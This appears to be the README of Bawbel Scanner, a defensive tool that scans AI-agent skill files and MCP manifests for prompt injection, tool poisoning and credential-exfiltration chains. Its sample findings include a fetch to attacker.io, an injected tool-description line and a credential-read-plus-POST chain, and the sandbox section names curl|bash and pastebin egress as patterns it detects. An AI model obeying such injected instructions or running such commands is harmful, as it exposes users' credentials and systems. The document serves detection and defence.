Bawbel Scanner

---

Bawbel 绝不会执行你的 MCP 服务。

pip install "bawbel-scanner[all]"
bawbel scan ./skills/        # scan skill files
bawbel ssc https://server    # scan MCP server without starting it

---

命令

命令	说明
bawbel scan <path>	扫描技能文件或目录，查找 AVE 漏洞。支持 --recursive、--format text|json|sarif、--fail-on-severity、--no-ignore、--watch
bawbel report <path>	扫描组件，并显示完整的修复指南，针对每项发现提供修复指导
bawbel creds <path>	定向扫描：仅检查硬编码凭据和秘密信息泄露
bawbel chain <path>	定向扫描：仅检查不安全的 Agent 委派链
bawbel ssc <url>	获取并扫描 MCP server-card，查找 AVE 漏洞，不会启动服务
bawbel scan-server-card <url>	ssc 的别名
bawbel conform <target>	根据 MCP 规范为 MCP 服务清单评分（A+ 至 F 级）
bawbel scan-conformance <target>	conform 的别名
bawbel accept <id> <file>	将某项发现标记为误报或已接受的风险：插入带有理由、审核者和可选到期时间的抑制注释
bawbel pin <path>	对技能文件进行哈希计算，并保存到 .bawbel-pins.json，用于检测 rug pull
bawbel check-pins <path>	检查技能文件是否与 .bawbel-pins.json 中的记录存在偏差
bawbel cp <path>	check-pins 的别名
bawbel init	在项目中初始化 Bawbel Scanner：生成 .bawbelignore 和 bawbel.yml
bawbel version	显示版本和检测引擎状态

---

为什么选择 Bawbel

	Bawbel	NVIDIA SkillSpector	Snyk agent-scan	Cisco DefenseClaw
扫描期间启动 MCP 服务	从不	从不	是（stdio 服务）	？
运行被扫描的技能内容	仅在可选的 Docker 沙箱阶段运行，默认关闭	从不	？	？
开放漏洞数据库	是（AVE，87 条记录，公共 API）	否（内部规则 ID）	否（内部规则 ID）	？
OWASP AIVSS v0.8 评分	是	否（自定义 0-100 风险评分）	否	？
复合攻击链检测	是（12 条 AVE 能力链）	是（TT1-TT5 污点流 + AST8 链）	是（未公布链数量）	？
MCP 规范符合性评级（A+ 至 F）	是	否	否	？
Git 提交的固定版本 / rug pull 检测	是	否	否	？
带过期时间和审计跟踪的抑制	是（原因、审核者、过期时间）	基础（glob 和指纹，无过期时间）	基础（忽略标记，无过期时间）	？
每次扫描的 LLM 用量和成本遥测	否（在 #79 中跟踪）	是（metadata.inference_usage）	否	？
SARIF 2.1.0 输出	是	是	否	？
许可证	Apache 2.0	Apache 2.0	Apache 2.0	Apache 2.0

? 表示截至撰写本文时（2026-09-12），无法从各项目的公开 README 中核实 该信息。其他所有单元格的来源均列于 PR 描述中。

---

工作原理

系统概览

扫描如何从你的文件开始，最终生成带有 AIVSS 评分的发现项：

  your file
      |
      v
  [ Pre-processing ]
    code fence stripping
    negation context detection
      |
      v
  [ Stage 0: Magika ]
    ML content-type verification
    gates the text engines below if content type is dangerous
      |
      v
  [ Detection engines ]  (run in parallel)
    1a  Pattern    40 regex rules, stdlib only, always on
    1b  YARA       39 binary/behavioral rules
    1c  Semgrep    41 structural rules
    2   LLM        semantic analysis via LiteLLM
    3   Sandbox    Docker behavioral sandbox
      |
      v
  [ Deduplication ]
    merge by (ave_id, line)
    pattern > yara > semgrep > llm > sandbox priority
      |
      v
  [ Toxic flow analysis ]
    map findings to capability tags
    check all pairs against 12 chain definitions
      |
      v
  [ ScanResult ]
    findings[]          active findings, sorted by severity
    suppressed_findings[]
    accepted_findings[] new in v1.2.0
    toxic_flows[]
    risk_score          max(findings, toxic_flows)
    aivss_score         OWASP AIVSS v0.8

检测阶段

整个流程中会运行六个引擎。结果会在有害流分析前合并：

  Stage 0    Magika engine
             ML-based content-type verification, gates the engines below
             pip install "bawbel-scanner[all]"

  Stage 1a   Pattern engine
             40 regex rules, no deps, < 5ms
             always active

  Stage 1b   YARA engine
             39 rules, multi-condition matching
             pip install "bawbel-scanner[yara]"

  Stage 1c   Semgrep engine
             41 structural rules, multi-line context
             pip install "bawbel-scanner[semgrep]"

  Stage 2    LLM engine
             semantic analysis, catches synonym attacks
             pip install "bawbel-scanner[llm]" + API key

  Stage 3    Sandbox engine
             dynamic behavioral analysis in Docker
             BAWBEL_SANDBOX_ENABLED=true

             +-----------+
  All  ----> | dedup     | ----> findings[]
  results    | sort      |       sorted by severity
             +-----------+
                  |
                  v
             toxic flow
             analysis

---

减少误报

在报告发现项之前，会自动运行八层处理：

  file content
      |
      v  FP-1  code fence stripping       ~60% reduction
      |         content inside ``` blanked before scan
      |
      v  FP-2  negation context           ~15% reduction
      |         "Bad example:", "Never do this:" suppresses
      |
      v  FP-3  confidence scoring         ~10% reduction
      |         docs/ examples/ paths reduce confidence
      |
      v  FP-4  LLM meta-analyzer          ~7% reduction
      |         medium-confidence findings reviewed by LLM
      |
      v  FP-5a inline bawbel-ignore       per line
      |         
      |
      v  FP-5b block suppression          per section
      |         
      |
      v  FP-5c .bawbelignore patterns     per file
      |         gitignore-style glob rules
      |
      v  FP-6  justified suppression      per finding
               requires reason + reviewer + optional expiry
               audit trail in accepted_findings[]

层	机制	误报减少率
FP-1	去除代码围栏	~60%
FP-2	前置行否定上下文	~15%
FP-3	置信度评分（路径、行上下文）	~10%
FP-4	LLM 元分析器（可选）	~7%
FP-5a	行内 ``	每行
FP-5b	块级抑制	每节
FP-5c	.bawbelignore 模式	每个文件
FP-6	带审计跟踪的合理抑制	每个发现项

每个活跃发现项都会带有一个 confidence 字段（0.0–1.0），其初始值取自 AVE 类别基准，并在输出前由 FP-2 至 FP-4 进行调整。 confidence_band() 会将其映射为 "high" / "medium" / "low"，供人工查看。 完整流程请参阅证据生命周期。

详细信息请参阅抑制指南。

---

有害流检测

单个 fetch() 调用是一项发现。一个先获取凭据、再将其发送到外部端点的 fetch() 调用则构成攻击链，这两项发现结合起来，危险性远高于任何一项单独存在时。

Bawbel 会将这些复合序列检测为有害流。去重后，每项发现都会映射到一个能力标签。随后，Bawbel 会根据 12 个内置链定义检查所有配对，并在发现危险组合时生成 ToxicFlow。

其他扫描器也会检测复合攻击。例如，NVIDIA SkillSpector 内置了基于其自有 AST 的源到汇污点跟踪器（TT1-TT5），其中包括凭据外泄链。Bawbel 的做法在处理对象和输出内容上有所不同：链由 AVE 能力标签组合而成，而不是通过 AST 跟踪，因此可以跨自然语言指令和配置检测流，而不只限于可执行代码。每个流都带有稳定的 flow_id、独立的 AIVSS 评分，以及其组成发现的 AVE ID。

  skill.md findings:
    AVE-2026-00003  credential-read   (READ ~/.ssh/id_rsa)         AIVSS 6.8 MEDIUM
    AVE-2026-00026  data-exfil        (POST to external endpoint)  AIVSS 6.8 MEDIUM
          │                │
          └───── chain ────┘
                   │
                   ▼
  ToxicFlow: credential-exfiltration   AIVSS 9.8  CRITICAL
    confidence: 0.83  (min of contributing baselines)

有害流的 AIVSS 评分（9.8）高于任何一项单独发现（6.8），因为这条链代表一个完整的端到端漏洞利用，而不仅仅是一种能力。

12 个内置链：

流	所需能力	AIVSS
凭据外泄	credential-read + data-exfil	9.8
远程代码执行	code-exec + external-fetch	9.7
供应链远程代码执行	supply-chain + code-exec	9.6
目标覆盖 + 执行	goal-hijack + code-exec	9.5
横向移动 + 执行	lateral-movement + code-exec	9.4
工具投毒 + 外泄	tool-poison + data-exfil	9.3
身份伪造 + 权限提升	identity-spoof + privilege-escalation	9.2
持久化 + 外泄	persistence + data-exfil	9.1
上下文注入 + 记忆写入	context-inject + memory-write	8.9
目标覆盖 + 外泄	goal-hijack + data-exfil	8.8
范围扩展 + 外泄	scope-expansion + data-exfil	8.7
隐蔽通道 + 持久化	covert-channel + persistence	8.6

JSON 输出中的有害流：

{
  "flow_id": "credential-exfiltration",
  "title": "Credential Exfiltration Chain",
  "severity": "CRITICAL",
  "aivss_score": 9.8,
  "confidence": 0.83,
  "ave_ids": ["AVE-2026-00003", "AVE-2026-00026"],
  "capabilities": ["credential-read", "data-exfil"],
  "owasp_mcp": ["MCP06", "MCP07"],
  "remediation": "Remove credential access. Block egress to untrusted endpoints."
}

confidence 是所有组成发现的 baseline confidence 中的最小值，也就是链中最薄弱的一环。整条链的置信度不会高于其中最不确定的组件。

要添加新流，只需在 scanner/core/toxic_flows/flows.py 中添加一项，无需更改其他文件。

---

安装

pip

pip install bawbel-scanner            # core - pattern engine only
pip install "bawbel-scanner[yara]"    # + YARA rules
pip install "bawbel-scanner[semgrep]" # + Semgrep rules
pip install "bawbel-scanner[llm]"     # + LLM semantic engine
pip install "bawbel-scanner[all]"     # everything

需要 Python 3.10+。核心安装不需要其他系统依赖。

Docker

镜像	引擎	最适合
bawbel/scanner:latest · 1.2.3	Pattern	轻量级 CI 流水线
bawbel/scanner:full · 1.2.3-full	Pattern + YARA	推荐大多数用户使用

已发布的镜像版本为 v1.2.3；目前尚未推送 1.3.0 镜像。如需在容器中使用 v1.3.0 的功能，请使用下方命令从源代码构建。

# Scan a local directory (recommended image)
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive

# Lightweight CI scan
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive

# Build with all engines
docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

可用的构建参数：WITH_YARA=true、WITH_SEMGREP=true、WITH_LLM=true、WITH_SANDBOX=true、WITH_ALL=true

---

快速开始

# Scan a skills directory
bawbel scan ./skills/

# Scan recursively
bawbel scan ./skills/ --recursive

# Full remediation report for one file
bawbel report ./skill.md

# Scan an MCP server manifest without starting the server
bawbel ssc https://server.example.com

# Pin skill files and detect rug pulls
bawbel pin ./skills/ && git add .bawbel-pins.json
bawbel check-pins ./skills/

输出示例：

CRITICAL  AVE-2026-00001  External instruction fetch detected
          line 3  fetch("https://attacker.io/payload.md")
          AIVSS 8.0  MCP03, MCP04
          https://api.piranha.bawbel.io/records/AVE-2026-00001

HIGH      AVE-2026-00002  Tool description behavioral injection
          line 12  "IMPORTANT: before calling this tool, first..."
          AIVSS 7.3  MCP03, MCP10
          https://api.piranha.bawbel.io/records/AVE-2026-00002

Toxic flow detected  CREDENTIAL_EXFIL_CHAIN
  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL

2 findings  1 toxic flow  18ms

---

抑制和误报管理

当一项发现属于合理行为时，可通过附带说明来抑制它，从而创建审计跟踪。

fetch your instructions from https://internal.registry.io

对于设有到期日期的已接受风险：

也可以使用 CLI 直接插入注释：

bawbel accept AVE-2026-00001 ./skill.md --line 7 \
  --reason "Internal registry endpoint" \
  --type false-positive

bawbel accept AVE-2026-00047 ./skill.md --line 3 \
  --reason "Placeholder value, replaced at deploy" \
  --type accepted-risk --expires 90d

# List all accepted findings
bawbel accept --list

# Show findings expiring within 30 days (exits 1 in CI)
bawbel accept --expiring-soon --within 30

已到期的已接受风险会在下一次扫描时自动重新显示为有效发现。

---

定向扫描

运行仅扫描凭据或仅扫描委派的任务，进行有针对性的分流处理：

# Hardcoded credentials only
bawbel creds ./skills/ --recursive

# Unsafe agent delegation chains only
bawbel chain ./skills/ --recursive

这两条命令使用与 bawbel scan 相同的输出格式。如需完整安全扫描，请使用 bawbel scan。

---

AIVSS 评分

每项发现都包含一个 OWASP AIVSS v0.8 评分。

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS 是针对该攻击类别，按照 AVE 记录评分的 10 项 Agentic 风险放大因子的总和。

{
  "rule_id": "bawbel-external-fetch",
  "ave_id": "AVE-2026-00001",
  "aivss_score": 8.0,
  "severity": "HIGH",
  "aivss": {
    "cvss_base": 8.5,
    "aars": 7.5,
    "thm": 1.0,
    "mitigation_factor": 1.0,
    "aivss_severity": "HIGH",
    "spec_version": "0.8"
  },
  "confidence": 0.98,
  "evidence_kind": "multi_engine",
  "detection_stage": "static_detection",
  "detection_layer": "content",
  "owasp_mcp": ["MCP03", "MCP04"],
  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"
}

---

AVE：每项发现背后的分类体系

Bawbel Scanner 实现了 AVE（Agentic Vulnerability Enumeration）， 这是一套针对 Agentic AI 组件的行为分类标准。

AVE 为不同的攻击类别分配稳定的标识符，每条记录都包含一个 AIVSS 评分、 行为指纹、OWASP MCP Top 10 和 MITRE ATLAS 映射，以及入侵指标。Bawbel 生成的 每项发现都会映射到一个 AVE ID，让使用不同扫描器的团队能够使用相同的术语。

AVE-2026-00001  Metamorphic Payload via External Config Fetch   AIVSS 8.0  HIGH
AVE-2026-00002  Tool Poisoning via Description Manipulation     AIVSS 7.3  HIGH
AVE-2026-00046  MCP Tool Hook Hijacking                         AIVSS 9.2  CRITICAL
... 87 records published total

已发布的记录	87（AVE-2026-00001 至 AVE-2026-00087）
此扫描器中包含检测规则的记录	43（其中 42 条由模式、YARA 或 Semgrep 规则检测；AVE-2026-00024 由 Magika 检测）
仅包含扫描器元数据、没有规则的记录	8（AVE-2026-00041 至 00045、00049 至 00051）
架构	1.1.0，可通过 aveproject.org/schema.html 验证
AIVSS	v0.8，每条记录均有评分
交叉映射	OWASP MCP Top 10、MITRE ATLAS、NIST AI RMF、OWASP AST10

已发布的 87 条记录中，有 44 条在此扫描器中没有检测规则。其中 27 条是 static_detection 记录，可通过规则检测，是扫描器待处理的规则开发工作。其余 17 条是运行时阶段记录（15 条 runtime_observed、2 条 runtime_drift_detected）： 它们描述的行为只会在 Agent 运行时出现，因此按设计无法通过静态分析文件检测。 逐条记录清单以及生成本节所有计数的命令，见 bawbel/scanner#79。

任何扫描器都可以输出 AVE ID。实现指南和记录索引请参阅 aveproject.org。

---

检测引擎

引擎	功能	安装方式
Pattern	40 条映射到 AVE 记录的正则表达式规则	始终启用
YARA	39 条二进制和行为 YARA 规则	[yara]
Semgrep	41 条结构化 Semgrep 规则	[semgrep]
LLM	对意图和上下文进行语义分析	[llm]
Magika	基于 ML 的内容类型验证	[all]
Sandbox	在 Docker 中进行动态行为分析	见下文

---

阶段 3：行为沙箱

沙箱会在隔离的 Docker 容器中运行你的技能文件，并监控运行时的恶意行为：静态规则无法捕获的出站连接、凭据读取、Shell 注入和文件系统写入。

镜像： hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

要求： Docker Desktop 或 Docker Engine 必须正在运行。

启用沙箱

BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

或者添加到 .env / bawbel.yml：

# bawbel.yml
sandbox:
  enabled: true

镜像设置（三种模式）

BAWBEL_SANDBOX_IMAGE	行为
default （推荐）	首先检查本地 Docker 缓存。若未找到，则从 Docker Hub 拉取 bawbel/sandbox:latest 并缓存。之后的扫描会使用缓存，无需联网。
local	完全跳过 Docker Hub。使用软件包内附带的 Dockerfile 构建沙箱镜像。适用于隔离网络或离线环境。
<custom-image>	使用你自己的镜像。可指向任意镜像仓库：registry.company.com/bawbel/sandbox@sha256:abc123

使用 default 时的首次运行： Bawbel 会自动从 Docker Hub 拉取 bawbel/sandbox:latest（约 200MB，仅需一次）。此后的每次扫描都会使用本地缓存：即时完成，无需网络请求。

使用 local 时的首次运行： Bawbel 会使用附带的 Dockerfile 构建镜像。首次运行约需 60 秒，之后会使用缓存。

# Recommended: default (auto-pull, cached)
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

# Offline / air-gapped: build locally
BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md

# Custom enterprise image
BAWBEL_SANDBOX_ENABLED=true \
  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \
  bawbel scan ./skill.md

沙箱检测内容

类别	示例
网络出站流量	连接到 pastebin.com、rentry.co、ngrok 隧道、Webhook 捕获站点
凭据访问	读取 ~/.ssh/、.env、私钥文件
文件系统写入	写入 ~/.bashrc、~/.zshrc、cron 目录
进程注入	curl|bash、wget|bash、eval()、exec()、意外的 pip install

---

CI/CD

# .github/workflows/security.yml
# The SARIF upload needs: permissions: security-events: write
- name: Bawbel scan
  id: bawbel
  uses: bawbel/integrations@v1
  with:
    path: ./skills/
    fail-on-severity: high
    format: sarif

- name: Upload to GitHub Security
  if: always()
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: ${{ steps.bawbel.outputs.sarif-file }}

此操作由 bawbel/integrations 维护。 它会自行写入 SARIF 文件，并将其路径作为 sarif-file 输出。

Pre-commit（扫描已暂存的 .md、.json、.yaml、.yml 和 .txt 文件）：

# .pre-commit-config.yaml
repos:
  - repo: local
    hooks:
      - id: bawbel-scan
        name: bawbel scan
        entry: python -m scanner.bawbel_pre_commit --fail-on-severity high
        language: python
        additional_dependencies: ["bawbel-scanner==1.3.0"]
        files: \.(md|json|ya?ml|txt)$

---

输出格式

bawbel scan ./skills/ --format text    # human-readable (default)
bawbel scan ./skills/ --format json    # machine-readable
bawbel scan ./skills/ --format sarif   # GitHub Security / GHAS

---

相关内容

aveproject.org	AVE：Agentic Vulnerability Enumeration 标准（87 条记录、架构、交叉映射）
api.aveproject.org	AVE 记录 API，每个 ID 对应一条 JSON 记录
aivss.owasp.org	OWASP AIVSS v0.8 评分标准
bawbel.io/docs	完整文档

---

贡献

请参阅 CONTRIBUTING.md。最有价值的贡献是新增一条与 AVE 记录关联的检测规则。覆盖缺口列出了尚无对应规则的已发布记录。

git clone https://github.com/bawbel/scanner
cd scanner
pip install -e ".[dev,all]"
pre-commit install
python -m pytest tests/ -v

---